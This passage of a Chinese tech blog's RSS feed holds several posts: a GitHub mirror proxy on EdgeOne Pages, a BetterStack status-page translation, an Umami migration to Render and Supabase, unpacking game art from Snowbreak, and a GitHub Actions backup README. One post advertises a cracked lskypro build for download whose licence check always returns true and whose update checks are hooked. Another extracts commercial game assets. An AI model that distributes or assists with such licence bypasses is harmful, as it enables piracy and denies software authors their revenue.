<p>首先请阅读 <a href="/posts/gh-proxy/">这篇文章</a> 知晓大致原理。因为EdgeOne Page Function的写法跟Cloudflare Worker差不多</p>
|
||
<p>下载 https://r2.072103.xyz/github-eopf.zip 并解压</p>
|
||
<p>目录结构为</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-30-20-43-29-image.B14VskDr.png" alt="" /></p>
|
||
<p>这里面的每一个JS文件的内容都相同,所以如果需要改请全都改一遍</p>
|
||
<p>打开任意一个JS文件,更改域名映射配置</p>
|
||
<pre><code>// 域名映射配置
|
||
const domain_mappings = {
|
||
'github.com': 'gh.',
|
||
'avatars.githubusercontent.com': 'avatars-githubusercontent-com.',
|
||
'github.githubassets.com': 'github-githubassets-com.',
|
||
'collector.github.com': 'collector-github-com.',
|
||
'api.github.com': 'api-github-com.',
|
||
'raw.githubusercontent.com': 'raw-githubusercontent-com.',
|
||
'gist.githubusercontent.com': 'gist-githubusercontent-com.',
|
||
'github.io': 'github-io.',
|
||
'assets-cdn.github.com': 'assets-cdn-github-com.',
|
||
'cdn.jsdelivr.net': 'cdn.jsdelivr-net.',
|
||
'securitylab.github.com': 'securitylab-github-com.',
|
||
'www.githubstatus.com': 'www-githubstatus-com.',
|
||
'npmjs.com': 'npmjs-com.',
|
||
'git-lfs.github.com': 'git-lfs-github-com.',
|
||
'githubusercontent.com': 'githubusercontent-com.',
|
||
'github.global.ssl.fastly.net': 'github-global-ssl-fastly-net.',
|
||
'api.npms.io': 'api-npms-io.',
|
||
'github.community': 'github-community.'
|
||
};
|
||
</code></pre>
|
||
<p>然后上传到EdgeOne Pages</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-30-20-45-20-image.oRPVcQJj.png" alt="" /></p>
|
||
<p>按照前缀绑定域名</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-30-20-46-18-image.B0YKX7j5.png" alt="" /></p>
|
||
<h1>为什么结构目录这么抽象?</h1>
|
||
<ul>
|
||
<li>
|
||
<p>为什么要放一个 <code>index.html</code> ?并且里面是空的?:因为不放就404</p>
|
||
</li>
|
||
<li>
|
||
<p>为什么要放一个 <code>index.js</code> 和 <code>[[default.js]]</code> ?:因为 <code>index.js</code> 负责 <code>/</code> 的路由,<code>[[default.js]]</code> 负责 <code>/*</code> 的路由</p>
|
||
</li>
|
||
<li></li>
|
||
</ul>
|
||
</content:encoded></item><item><title>我给BetterStack的状态页面汉化了</title><link>https://blog.acofork.com/posts/translations-betterstack/</link><guid isPermaLink="true">https://blog.acofork.com/posts/translations-betterstack/</guid><description>闲来无事,打开BetterStack的状态页面发现一会中文一会英文,受不了了,全部汉化!</description><pubDate>Thu, 28 Aug 2025 18:46:27 GMT</pubDate><content:encoded><h1>速览</h1>
|
||
<p>现在点击 <a href="https://ss.2x.nz">这里</a> 或者顶部导航栏的 <code>状态</code> 即可查看中文的BetterStack的状态面板</p>
|
||
<h1>汉化过程</h1>
|
||
<p>在 <a href="https://uptime.betterstack.com/">BetterStack</a> 左侧导航条的 <code>Status pages</code> 进入你的状态面板域名,然后进入 <code>Translations</code> 即可开始汉化</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-18-52-03-image.BH5rP2Hy.png" alt="" /></p>
|
||
<h1>一些小插曲</h1>
|
||
<p>因为BetterStack完全没有顾及中国用户,所以对于 <code>日</code> 和 <code>年</code> 的翻译没有后缀,不过我们可以硬编码一下</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-18-57-52-image.DIB8bJoh.png" alt="" /></p>
|
||
<p>而对于 <code>月</code> 直接这样写</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-18-58-30-image.cnYESS6Q.png" alt="" /></p>
|
||
<p>BetterStack对于 <code>UTC+8</code> 会自作聪明使用 <code>CST</code> 。这是一个有歧义的时区缩写,我们同样可以使用硬编码来解决</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-18-56-39-image.B_CjHtqW.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-18-58-45-image.DzqnnV9z.png" alt="" /></p>
|
||
</content:encoded></item><item><title>记录迁移Umami,从本地到云</title><link>https://blog.acofork.com/posts/umami-local-2-render/</link><guid isPermaLink="true">https://blog.acofork.com/posts/umami-local-2-render/</guid><description>之前的站点统计部署在家里云NAS,通过IPv6回源,而现在我将他迁移到了Render+Supabase</description><pubDate>Thu, 28 Aug 2025 09:57:16 GMT</pubDate><content:encoded><blockquote>
|
||
<p>回滚了</p>
|
||
</blockquote>
|
||
<h1>备份本地数据库</h1>
|
||
<p>在任何一台机子上安装 <strong>pgAdmin4</strong></p>
|
||
<p>连接到本地的PostgreSQL实例</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-10-03-34-image.CE9sei3c.png" alt="" /></p>
|
||
<p>右键需要备份的数据库,点击 <strong>备份</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-10-03-58-image.PdfooRjH.png" alt="" /></p>
|
||
<p>填写 <strong>文件名</strong> 创建备份。备份的文件将会保留在 <strong>pgAdmin4</strong> 上</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-10-04-44-image.DoR1Bz_i.png" alt="" /></p>
|
||
<h1>还原备份到云端数据库</h1>
|
||
<blockquote>
|
||
<p>免费计划有 500MB 免费的数据库空间,完全够用了</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-10-06-39-2dfd6b861774ca0b05d460fc19bfccb1.CpkUsm-k.png" alt="" /></p>
|
||
</blockquote>
|
||
<p>进入 https://supabase.com/</p>
|
||
<p>创建一个新项目</p>
|
||
<p>找到连接参数(左上角Connect)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-10-07-41-image.DdhFx4Ow.png" alt="" /></p>
|
||
<p>在 <strong>pgAdmin4</strong> 中,连接到Supabase数据库</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-10-10-00-image.DKsxUeKS.png" alt="" /></p>
|
||
<blockquote>
|
||
<p>值得注意的是,本地的PostgreSQL我们可以创建多个子数据库。而在Supabase中,每一个项目对应一个专属的 <strong>postgres</strong> 数据库。当然,你完全可以使用 <strong>pgAdmin4</strong> 来创建新的子数据库,但是Supabase仪表盘上将不可见。所以,我建议在Supabase项目中,一个项目对应一个数据库,不使用子数据库</p>
|
||
</blockquote>
|
||
<p>右键,进行还原</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-10-12-10-image.C1eOUVpa.png" alt="" /></p>
|
||
<p>选择刚才备份的数据库文件</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-10-12-29-image.tb56HhWA.png" alt="" /></p>
|
||
<p>进行还原,必会 <strong>失败</strong>,但是不用管</p>
|
||
<p><em>这些报错大概就是,找不到之前数据库的用户之类的,实际上表结构已经被还原了</em></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-10-16-25-image.C7TnAi4Y.png" alt="" /></p>
|
||
<h1>在Render上部署Umami</h1>
|
||
<p>打开 https://dashboard.render.com/</p>
|
||
<p>创建项目,选择 <strong>Web Services</strong></p>
|
||
<p><strong>Source Code</strong> 选择 <strong>Exist Image</strong> ,并输入 <code>ghcr.io/umami-software/umami:postgresql-v2.19.0</code> <em>最好选最新版,也就是 <code>vx.xx.x</code> 这个字段</em></p>
|
||
<p>配置必须的环境变量</p>
|
||
<table>
|
||
<thead>
|
||
<tr>
|
||
<th>Key</th>
|
||
<th>Value</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td>APP_SECRET</td>
|
||
<td>在之前的环境变量中</td>
|
||
</tr>
|
||
<tr>
|
||
<td>DATABASE_TYPE</td>
|
||
<td>postgresql</td>
|
||
</tr>
|
||
<tr>
|
||
<td>DATABASE_URL</td>
|
||
<td>在Supabase仪表板中</td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<p>你可以在曾经的Umami实例中看到 <strong>APP_SECRET</strong> 的值</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-10-25-05-image.Dy6Zyfwj.png" alt="" /></p>
|
||
<p>而 <strong>DATABASE_URL</strong> 可以在 Supabase 中看到</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-10-25-44-image.BJ7ALcUm.png" alt="" /></p>
|
||
<p>其中的 <code>[YOUR-PASSWORD]</code> 可以在 Supabase 的数据库设置中进行重置</p>
|
||
<p><em>注意,Supabase仅支持重置数据库密码,一旦设置后将无法再次查看,请妥善保管您的数据库密码</em></p>
|
||
<p>配置完毕之后,部署它,Render将会为你分配一个Web地址</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-10-29-02-image.Y05rfcU4.png" alt="" /></p>
|
||
<p>尝试访问,应该已经迁移成功</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-10-29-46-image.CtWN66iq.png" alt="" /></p>
|
||
<h1>配置EdgeOne CDN变相支持CORS配置</h1>
|
||
<blockquote>
|
||
<p>由于 Umami 没有独立的CORS设置,如果不设置CORS则他人将可以随便刷你的Umami,这会导致统计不准确,详见 <a href="/posts/you-is-me-huh/">这篇文章</a> 。我们可以接入EdgeOne CDN来变相支持CORS</p>
|
||
</blockquote>
|
||
<p>使用 <strong>源站域名</strong> 作为 <strong>回源 HOST 头</strong> 即可</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-10-32-09-image.Dth2KP1C.png" alt="" /></p>
|
||
<p>CORS配置详情</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-28-10-32-32-image.BXoUkmAR.png" alt="" /></p>
|
||
</content:encoded></item><item><title>记录解包尘白禁区以获得涩涩(?)CG</title><link>https://blog.acofork.com/posts/cbjq-unzip/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cbjq-unzip/</guid><description>受人委托解包尘白禁区的加载图CG,记录一下流程,方便日后复习</description><pubDate>Sun, 24 Aug 2025 01:11:44 GMT</pubDate><content:encoded><blockquote>
|
||
<p>参考了 <a href="https://zhuanlan.zhihu.com/p/7144045084">虚幻4游戏解包导出及Mod制作指南 - 知乎</a></p>
|
||
</blockquote>
|
||
<h1>下载尘白禁区</h1>
|
||
<p>前往 https://www.cbjq.com/ 下载并安装尘白禁区,确保启动器内可以直接开始游戏(即游戏完整包体已下载到你的电脑)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-24-01-16-37-image.DgEXlnK0.png" alt="" /></p>
|
||
<h1>确认虚幻引擎版本</h1>
|
||
<p>导航到放置尘白禁区游戏本体的EXE的目录,如</p>
|
||
<pre><code>C:\SeasunCBJQos\Game\cbjq\game\Game\Binaries\Win64
|
||
</code></pre>
|
||
<p>右键 <code>Game.exe</code> ,单击属性,转到 <code>详细信息</code> 一栏。可以看到是 <code>UE4 4.26</code> 。记住他,后文要用</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-24-01-18-47-image.B5qBcPZo.png" alt="" /></p>
|
||
<h1>将有关CG的PAK文件分离出来</h1>
|
||
<p>前往</p>
|
||
<pre><code>C:\SeasunCBJQos\Game\cbjq\game\Game\Content\Paks
|
||
</code></pre>
|
||
<p>这里列出了所有的PAK文件,由于我们只需要CG图,故也只需要解包类似 <code>PAK_Game_UI_X-WindowsNoEditor.pak</code> 这样的文件</p>
|
||
<p>将其分离到一个单独的文件夹</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-24-01-22-23-image.Bp0LKK-_.png" alt="" /></p>
|
||
<h1>解包</h1>
|
||
<p>下载解包脚本 https://r2.072103.xyz/snowbreak.bms</p>
|
||
<p>前往 <a href="https://aluigi.altervista.org/quickbms.htm">Luigi Auriemma</a> 下载 <code>QuickBMS</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-24-01-22-37-image.DaYxT_rm.png" alt="" /></p>
|
||
<p>打开</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-24-01-22-58-image.3TQmQf2u.png" alt="" /></p>
|
||
<p>第一步 选择解包脚本</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-24-01-25-15-image.Ct5bFdOK.png" alt="" /></p>
|
||
<p>第二步 选择原始PAK文件所在的文件夹。选中文件夹后,在文件名输入 <code>*</code> 即可</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-24-01-25-58-image.Qg1XlWGF.png" alt="" /></p>
|
||
<p>第三步 选择解包后输出目录</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-24-01-26-32-image.B-jDShbv.png" alt="" /></p>
|
||
<p>等待解包</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-24-01-26-55-33683f308e84beb12f81c22c9702a4a4.CMaplMDR.png" alt="" /></p>
|
||
<p>解包完成</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-24-01-28-27-image.CV7C7W-0.png" alt="" /></p>
|
||
<h1>查看解包后的文件</h1>
|
||
<p>解包后我们就得到了一般UE引擎封装的 <code>.uasset</code> 文件</p>
|
||
<p>我们需要使用另一个工具将其导出为一般格式的文件</p>
|
||
<p>前往 <a href="https://www.gildor.org/en/projects/umodel#files">UE Viewer | Gildor's Homepage</a> 。点击 <code>Win32 Version</code> 下载</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-24-01-30-01-image.BvpI-RK2.png" alt="" /></p>
|
||
<p>打开 <code>umodel_64.exe</code> 。 <code>Path to game files:</code> 填写通过 <code>QuickBMS</code> 解包后的输出文件夹,勾选 <code>Override game detection</code> 并选择 UE4 4.26,也就是最开始我们获取的虚幻引擎版本</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-24-01-32-43-image.CLtPPL8H.png" alt="" /></p>
|
||
<p>这样就可以在 <code>UE Viewer</code> 里面查看 <code>.uasset</code> 文件了。但是这个文件浏览器很难用,我推荐导出后使用Windows资源管理器查看</p>
|
||
<p>右键你要导出的文件夹,比如 <code>All Package</code> 或者 <code>Game</code> ,点击 <code>Export folder content</code> 。可以选择一下输出文件夹,我这边是默认</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-24-01-35-49-image.xriTFmq7.png" alt="" /></p>
|
||
<p>接下来你就可以在你设置的导出文件夹查看到所有一般格式的资源文件了,比如</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-24-01-36-37-image.CZQOXbDl.png" alt="" /></p>
|
||
<h1>获取CG图</h1>
|
||
<p>全局搜索关键字 <code>PlotCG</code> 就可以啦</p>
|
||
<p>导出后的图片CG文件为 <code>.TGA</code> 文件,是无损图像格式,我们可以通过 <a href="https://www.bandisoft.com/bandiview/">BandiView - 图像查看器、快速且强大</a> 来查看</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-24-01-13-41-3824c5ece06cc56241688f4a4aacbcbd.t2hYbuVO.png" alt="" /></p>
|
||
</content:encoded></item><item><title>lskypro+本地无需授权开心版!</title><link>https://blog.acofork.com/posts/lskypro-local/</link><guid isPermaLink="true">https://blog.acofork.com/posts/lskypro-local/</guid><description>突然发现交付给我的项目是源码,那还逆向什么授权,直接永远返回true呗~</description><pubDate>Fri, 22 Aug 2025 04:16:23 GMT</pubDate><content:encoded><blockquote>
|
||
<p>仅供学习交流,请在下载后24h内删除。体验地址: <a href="https://lsky.2x.nz">https://lsky.2x.nz</a>
|
||
视频教程: https://www.bilibili.com/video/BV1UieUzQEvq/</p>
|
||
</blockquote>
|
||
<h1>安装包体</h1>
|
||
<ul>
|
||
<li>http://r2.072103.xyz/2xnzlskypro223.zpaq</li>
|
||
<li><a href="https://acofork-my.sharepoint.com/:u:/g/personal/af_acofork_onmicrosoft_com/Eenhpe5Kt0RLopi_n6Ud-qMBh6fmDsXKaB8csLIVLu-FEQ?e=Z6QLGn">OneDrive - 2xnzlskypro223.zpaq</a></li>
|
||
<li>密码: 2xnz二叉树树</li>
|
||
</ul>
|
||
<p>zpaq可以使用 <a href="https://www.bandisoft.com/bandizip/">Bandizip 官方网站 - 免费压缩软件下载 (Windows)</a> 进行解压,旧版不支持</p>
|
||
<h1>我们做了什么?</h1>
|
||
<ul>
|
||
<li>
|
||
<p>安装过程中无论输入授权密钥为任何值直接内部返回true,不再请求授权服务器</p>
|
||
</li>
|
||
<li>
|
||
<p>版本更新不再请求授权服务器,始终返回当前版本为最新版本</p>
|
||
</li>
|
||
<li>
|
||
<p>所有操作不经过授权服务器,全部本地执行</p>
|
||
</li>
|
||
</ul>
|
||
<h1>其余环境配置和通用安装步骤</h1>
|
||
<p>参考 上一篇的 <a href="/posts/hack-lskypro/">授权绕过教程</a></p>
|
||
<h1>简略安装过程</h1>
|
||
<p>授权密钥随便填直接过</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-22-04-21-45-8d13151d19e627bd9e614517aeb5dbe6.ChLNHip9.png" alt="" /></p>
|
||
<p>系统升级已Hook,定死版本</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-22-04-22-19-image.Bsf5rdCh.png" alt="" /></p>
|
||
<p>最终效果</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-22-04-22-37-image.Bz4GEfpc.png" alt="" /></p>
|
||
</content:encoded></item><item><title>cloudflare-imgbed项目使用Action自动备份元数据到仓库</title><link>https://blog.acofork.com/posts/cloudflare-imgbed-auto-backup/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cloudflare-imgbed-auto-backup/</guid><description>CloudFlare-ImgBed项目用基于GitHub Actions定期自动备份数据脚本</description><pubDate>Thu, 21 Aug 2025 00:00:00 GMT</pubDate><content:encoded><blockquote>
|
||
<p>本文由 https://github.com/afoim/fuwari/pull/40 提供,非站长原创</p>
|
||
</blockquote>
|
||
<p><a href="https://github.com/yunsen2025/cloudflare-imgbed-auto-backup">https://github.com/yunsen2025/cloudflare-imgbed-auto-backup</a>
|
||
<a href="https://github.com/MarSeventh/CloudFlare-ImgBed">CloudFlare-ImgBed项目</a>用基于GitHub Actions定期自动备份数据脚本</p>
|
||
<blockquote>
|
||
<p>[!IMPORTANT]</p>
|
||
<h2>🚨 重要安全提醒 🚨</h2>
|
||
<p><strong>⚠️ 在备份文件中包含重要的敏感信息数据!</strong></p>
|
||
<ul>
|
||
<li>为了保护您的数据安全,程序内置了仓库隐私检查功能:</li>
|
||
<li>每次运行前自动检查仓库是否为 <strong>私有</strong> ;</li>
|
||
<li>因此,在使用本项目前请确保您已将仓库<strong>解除复刻网络</strong>并更改为<strong>私有</strong></li>
|
||
<li>如果仓库为公开状态,程序将拒绝执行并显示安全警告<br />
|
||
<strong>步骤:你的仓库➡Settings➡General➡(划到最下面)Danger➡Leave fork network➡Change repository visibility</strong><br />
|
||
(其实公开仓库不会执行actions)</li>
|
||
</ul>
|
||
</blockquote>
|
||
<h2>功能特性</h2>
|
||
<ul>
|
||
<li>🕒 <strong>定时备份</strong>: 每天UTC+8的2:00自动执行备份任务</li>
|
||
<li>🔐 <strong>安全认证</strong>: 通过仓库机密统一管理</li>
|
||
<li>🛡️ <strong>隐私保护</strong>: 强制检查仓库隐私状态,防止敏感数据泄露</li>
|
||
<li>📁 <strong>自动管理</strong>: 自动保存和管理备份文件</li>
|
||
<li>🚀 <strong>GitHub Actions</strong>: 完全基于GitHub Actions运行</li>
|
||
<li>🧹 <strong>自动清理</strong>: 自动清理旧备份文件(默认保留最近100个,可自定义)</li>
|
||
<li>🔍 <strong>智能检测</strong>: 通过MD5自动检测数据变化,只在有变更时保存备份</li>
|
||
</ul>
|
||
<h2>快速开始</h2>
|
||
<p>请确保你的cloudflare-imgbed版本大于V2.0.3</p>
|
||
<h3>1. 🔒 确保仓库为私有</h3>
|
||
<p><strong>重要:请务必确保您的仓库设置为私有(Private)状态!</strong></p>
|
||
<ol>
|
||
<li>前往您的GitHub仓库主页</li>
|
||
<li>点击 <code>Settings</code> 选项卡</li>
|
||
<li>滚动到页面底部的 <code>Danger Zone</code> 区域</li>
|
||
<li>点击 <code>Leave fork network</code> 将你的仓库脱离复刻网络
|
||
<img src="https://imgbed.112601.xyz/file/cloudflare-imgbed-auto-backup/1755364661684.png" alt="alt text" /></li>
|
||
<li>点击 <code>Change repository visibility</code> 选择 <code>Make private</code> 将仓库设为私有
|
||
<img src="https://imgbed.112601.xyz/file/cloudflare-imgbed-auto-backup/1755365226055.png" alt="alt text" /></li>
|
||
</ol>
|
||
<h3>2. 配置GitHub仓库机密</h3>
|
||
<p>在你的GitHub仓库中,进入 <code>Settings</code> -&gt; <code>Secrets and variables</code> -&gt; <code>Actions</code>,添加以下机密:
|
||
<img src="https://imgbed.112601.xyz/file/cloudflare-imgbed-auto-backup/1755366168729.png" alt="alt text" />
|
||
<strong>必需配置</strong>:</p>
|
||
<table>
|
||
<thead>
|
||
<tr>
|
||
<th>机密名称</th>
|
||
<th>说明</th>
|
||
<th>示例值</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td><code>BACKUP_URL</code></td>
|
||
<td>网站完整URL(包含协议和端口)</td>
|
||
<td><code>cfbed.1314883.xyz</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td><code>BACKUP_USERNAME</code></td>
|
||
<td>登录用户名(BASIC_USER)</td>
|
||
<td><code>your_username</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td><code>BACKUP_PASSWORD</code></td>
|
||
<td>登录密码(BASIC_PASS)</td>
|
||
<td><code>your_password</code></td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<p><strong>可选配置</strong> (不设置将使用默认值):</p>
|
||
<table>
|
||
<thead>
|
||
<tr>
|
||
<th>机密名称</th>
|
||
<th>说明</th>
|
||
<th>示例值</th>
|
||
<th>默认值</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td><code>MAX_BACKUPS</code></td>
|
||
<td>最大保留备份文件数量</td>
|
||
<td><code>1145</code></td>
|
||
<td><code>100</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td><code>ENABLE_CHANGE_DETECTION</code></td>
|
||
<td>启用智能变更检测</td>
|
||
<td><code>true/false</code></td>
|
||
<td><code>true</code></td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<h3>2. 启用GitHub Actions</h3>
|
||
<p>确保你的仓库已启用GitHub Actions功能。</p>
|
||
<p><strong>注意</strong>: 程序会自动将你提供的URL拼接成完整的API路径:</p>
|
||
<ul>
|
||
<li>输入: <code>cfbed.1314883.xyz</code></li>
|
||
<li>自动拼接为: <code>https://cfbed.1314883.xyz/api/manage/sysConfig/backup?action=backup</code></li>
|
||
<li>支持 HTTP 和 HTTPS 协议,会保持你指定的协议类型</li>
|
||
</ul>
|
||
<blockquote>
|
||
<p>[!IMPORTANT]<br />
|
||
如果你是http/非标准端口,请在变量中填完整的URL,如:<code> http://cfbed.1314883.xyz:11451</code><br />
|
||
默认拼接为https</p>
|
||
</blockquote>
|
||
<h3>3. 执行备份</h3>
|
||
<p>备份程序会:</p>
|
||
<ul>
|
||
<li><strong>自动执行</strong>: 每天北京时间02:00自动运行</li>
|
||
<li><strong>手动触发</strong>: 你也可以在Actions页面手动触发备份
|
||
如果您是第一次部署本项目,请在Action中手动执行一次确保执行正常
|
||
<img src="https://imgbed.112601.xyz/file/cloudflare-imgbed-auto-backup/1755367335196.png" alt="alt text" />
|
||
正确输出:<br />
|
||
<img src="https://imgbed.112601.xyz/file/cloudflare-imgbed-auto-backup/1755368429729.png" alt="正确输出" /></li>
|
||
</ul>
|
||
<h2>文件结构</h2>
|
||
<pre><code>cloudflare-imgbed-auto-backup/
|
||
├── .github/
|
||
│ └── workflows/
|
||
│ └── backup.yml # GitHub Actions工作流配置
|
||
├── backups/ # 备份文件存储目录
|
||
│ ├──.privacy_verified # 安全性证明文件
|
||
│ ├── backup_20240816_100000.json
|
||
│ ├── backup_20240817_100000.json
|
||
│ └── latest_backup.json # 最新备份文件
|
||
├── backup_script.py # 主备份脚本
|
||
├── requirements.txt # Python依赖
|
||
└── README.md # 说明文档
|
||
</code></pre>
|
||
<h2>备份文件说明</h2>
|
||
<ul>
|
||
<li><strong>带时间标志的备份文件</strong>: <code>backup_YYYYMMDD_HHMMSS.json</code></li>
|
||
<li><strong>最新备份文件</strong>: <code>latest_backup.json</code> (始终指向最新的备份)</li>
|
||
<li><strong>自动清理</strong>: 程序会自动保留最近的指定数量个备份文件(默认100个)</li>
|
||
</ul>
|
||
<h2>🔍 智能变更检测</h2>
|
||
<p>程序默认启用智能变更检测功能,只有在数据发生变化时才会保存新的备份文件:</p>
|
||
<h3>检测原理</h3>
|
||
<ul>
|
||
<li>使用MD5哈希算法计算JSON数据的指纹</li>
|
||
<li>将新下载的数据与最新备份文件进行对比</li>
|
||
<li>只有当哈希值不同时才保存新的备份文件</li>
|
||
</ul>
|
||
<h3>优势</h3>
|
||
<ul>
|
||
<li><strong>节省存储空间</strong>: 避免保存重复的备份文件</li>
|
||
<li><strong>减少提交噪音</strong>: GitHub仓库不会产生无意义的提交</li>
|
||
<li><strong>提高效率</strong>: 跳过无变化的备份操作</li>
|
||
</ul>
|
||
<h3>控制选项</h3>
|
||
<ul>
|
||
<li><strong>启用</strong>: <code>ENABLE_CHANGE_DETECTION=true</code> (默认)</li>
|
||
<li><strong>禁用</strong>: <code>ENABLE_CHANGE_DETECTION=false</code> (强制每次都备份)</li>
|
||
</ul>
|
||
<h3>特殊情况处理</h3>
|
||
<ul>
|
||
<li><strong>首次备份</strong>: 没有历史数据时,总是保存备份</li>
|
||
<li><strong>计算错误</strong>: 无法计算哈希时,为安全起见会强制保存备份</li>
|
||
<li><strong>文件缺失</strong>: 找不到最新备份文件时,会保存新的备份</li>
|
||
</ul>
|
||
<h2>🛡️ 仓库隐私保护功能</h2>
|
||
<p>为了防止敏感数据泄露,程序内置了强制的仓库隐私检查功能。
|
||
<a href="https://github.com/yunsen2025/cloudflare-imgbed-auto-backup/blob/main/SECURITY_FEATURES.md">详见</a></p>
|
||
<ul>
|
||
<li><strong>强制执行,无配置选项可以禁用此功能</strong></li>
|
||
</ul>
|
||
<h3>常见问题</h3>
|
||
<p><strong>Q: 为什么需要这个功能?</strong><br />
|
||
A: 在导出的JSON文件中,包含TG变量与S3端点信息等,属于十分敏感的信息,为安全起见,本项目仅允许私有仓库使用。公开仓库会让任何人都能访问这些数据,造成严重的安全风险。</p>
|
||
<p><strong>Q: 可以禁用这个检查吗?</strong><br />
|
||
A: 不可以。为了确保数据安全,此功能强制执行,无法禁用。</p>
|
||
<p><strong>Q: 检查失败了怎么办?</strong><br />
|
||
A: 按照错误提示将仓库设置为私有,然后重新运行备份任务。程序会自动重新检查。如还有错误请提起<a href="https://github.com/yunsen2025/cloudflare-imgbed-auto-backup/issues">ISSUE</a>,请不要提交有关隐私的信息</p>
|
||
<h2>🌐 HTTP/HTTPS 协议支持</h2>
|
||
<p>程序支持 HTTP 和 HTTPS 两种协议,并能智能处理不同的网络环境:</p>
|
||
<h3>HTTP 协议特殊情况</h3>
|
||
<h4>1. <strong>混合内容问题</strong></h4>
|
||
<ul>
|
||
<li>在 GitHub Actions 环境中,HTTP 连接可能会受到安全策略限制</li>
|
||
<li>如果遇到连接问题,建议优先使用 HTTPS</li>
|
||
</ul>
|
||
<h4>2. <strong>端口配置</strong></h4>
|
||
<ul>
|
||
<li>HTTP 默认端口:80</li>
|
||
<li>HTTPS 默认端口:443</li>
|
||
<li>自定义端口:如 <code>http://example.com:8080/</code></li>
|
||
<li>程序会保持你指定的端口号</li>
|
||
</ul>
|
||
<h4>3. <strong>SSL/TLS 证书问题</strong></h4>
|
||
<ul>
|
||
<li>HTTP 连接不涉及证书验证</li>
|
||
<li>如果你的 HTTPS 使用自签名证书,可能需要特殊处理,懒得写这块了<s>也没人给图床用自签吧</s></li>
|
||
</ul>
|
||
<h4>4. <strong>连接超时设置</strong></h4>
|
||
<ul>
|
||
<li>程序默认超时时间:30秒</li>
|
||
<li>对于较慢的服务器,可能需要调整超时时间</li>
|
||
</ul>
|
||
<h3>常见问题解决</h3>
|
||
<ol>
|
||
<li>
|
||
<p><strong>"Connection refused" 错误</strong></p>
|
||
<pre><code># 检查服务是否运行
|
||
netstat -tulpn | grep 40968
|
||
|
||
# 检查防火墙状态
|
||
sudo ufw status
|
||
</code></pre>
|
||
</li>
|
||
<li>
|
||
<p><strong>"Certificate verify failed" 错误</strong></p>
|
||
<ul>
|
||
<li>这通常发生在 HTTPS 连接中</li>
|
||
<li>确保证书有效或使用 HTTP 协议</li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p><strong>"Timeout" 错误</strong></p>
|
||
<ul>
|
||
<li>检查网络连接</li>
|
||
<li>确认服务器响应时间</li>
|
||
<li>考虑增加超时时间</li>
|
||
</ul>
|
||
</li>
|
||
</ol>
|
||
<h2>本地运行</h2>
|
||
<p>如果你想在本地运行备份脚本:</p>
|
||
<ol>
|
||
<li>安装依赖:</li>
|
||
</ol>
|
||
<pre><code>pip install -r requirements.txt
|
||
</code></pre>
|
||
<ol>
|
||
<li>设置环境变量:</li>
|
||
</ol>
|
||
<pre><code>export BACKUP_URL="http://"
|
||
export BACKUP_USERNAME="your_username"
|
||
export BACKUP_PASSWORD="your_password"
|
||
export MAX_BACKUPS="100" # 可选,默认100
|
||
export ENABLE_CHANGE_DETECTION="true" # 可选,默认true
|
||
|
||
# 本地运行时需要设置以下变量进行隐私检查:
|
||
export GITHUB_TOKEN="your_github_token" # GitHub Personal Access Token
|
||
export GITHUB_REPOSITORY="username/repo-name" # 仓库名称
|
||
</code></pre>
|
||
<p><strong>本地运行说明</strong>:</p>
|
||
<ul>
|
||
